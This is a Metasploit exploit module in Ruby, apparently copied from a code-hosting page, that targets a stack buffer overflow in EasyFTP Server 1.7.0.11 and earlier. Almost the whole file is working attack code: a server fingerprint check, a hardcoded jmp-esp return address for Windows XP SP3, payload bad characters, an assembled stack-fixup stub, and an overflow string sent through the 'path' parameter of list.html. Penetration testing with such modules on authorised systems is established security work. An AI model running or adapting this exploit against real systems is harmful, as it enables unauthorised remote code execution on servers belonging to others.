126 lines
3.7 KiB
Ruby
126 lines
3.7 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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HttpFingerprint = { :pattern => [ /Easy-Web Server\// ] }
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'EasyFTP Server <= 1.7.0.11 list.html path Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
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and earlier. EasyFTP fails to check input size when parsing the 'path' parameter
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supplied to an HTTP GET request, which leads to a stack based buffer overflow.
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EasyFTP allows anonymous access by default; valid credentials are typically
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unnecessary to exploit this vulnerability.
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After version 1.7.0.12, this package was renamed "UplusFtp".
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Due to limited space, as well as difficulties using an egghunter, the use of
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staged, ORD, and/or shell payloads is recommended.
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},
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'Author' =>
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[
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'ThE g0bL!N', # Original exploit [see References]
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'jduck' # Metasploit re-implementation
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],
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'References' =>
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[
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[ 'OSVDB', '66614'],
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[ 'EDB', '11500' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 256,
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'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x23\x25\x26\x2b\x2f\x3b\x3f\x5c",
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'Compat' =>
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{
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'ConnectionType' => '+ws2ord',
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},
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP SP3 - Easy FTP Server Universal',
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# NOTE: It's not possible to use addresses within the
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# binary due to the nul byte.
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{
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'Ret' => 0x7cc5d507 # jmp esp in shell32.dll
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#'Ret' => 0xdeadbeef
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}
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Feb 18 2010'
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))
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register_options(
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[
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Opt::RPORT(8080),
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OptString.new('USERNAME', [true, 'The HTTP username to specify for basic authentication', 'anonymous']),
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OptString.new('PASSWORD', [true, 'The HTTP password to specify for basic authentication', 'mozilla@example.com'])
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], self.class)
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end
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def check
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info = http_fingerprint # check method
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if info and (info =~ /Easy-Web Server\//)
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return Exploit::CheckCode::Vulnerable
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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if (payload.encoded.length > payload_space)
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fail_with(Failure::Unknown, "Insufficient space for payload, try using a staged, ORD and/or shell payload.")
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end
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# Fix up ESP, jmp to the beginning of the buffer
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stub_asm = %q{
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mov edi, esp
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add esp, 0xfffffc04
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add edi, 0xfffffee8
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jmp edi
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}
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stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub_asm).encode_string
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# Build the path up
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path = ''
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path << payload.encoded
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path << rand_text(268 - path.length)
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# NOTE: It's possible to overwrite SEH, however SafeSEH is in effect.
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path << [target.ret].pack('V')
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path << rand_text(280 - path.length)
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path << stub
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path << rand_text(332 - path.length)
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uri = "/list.html?path="
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uri << path
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print_status("Trying target #{target.name}...")
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res = send_request_raw({ 'uri' => uri }, 5)
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if (res)
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print_error("The server unexpectedly responded, this is not good.")
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print_status(res.inspect)
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end
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handler
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end
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end
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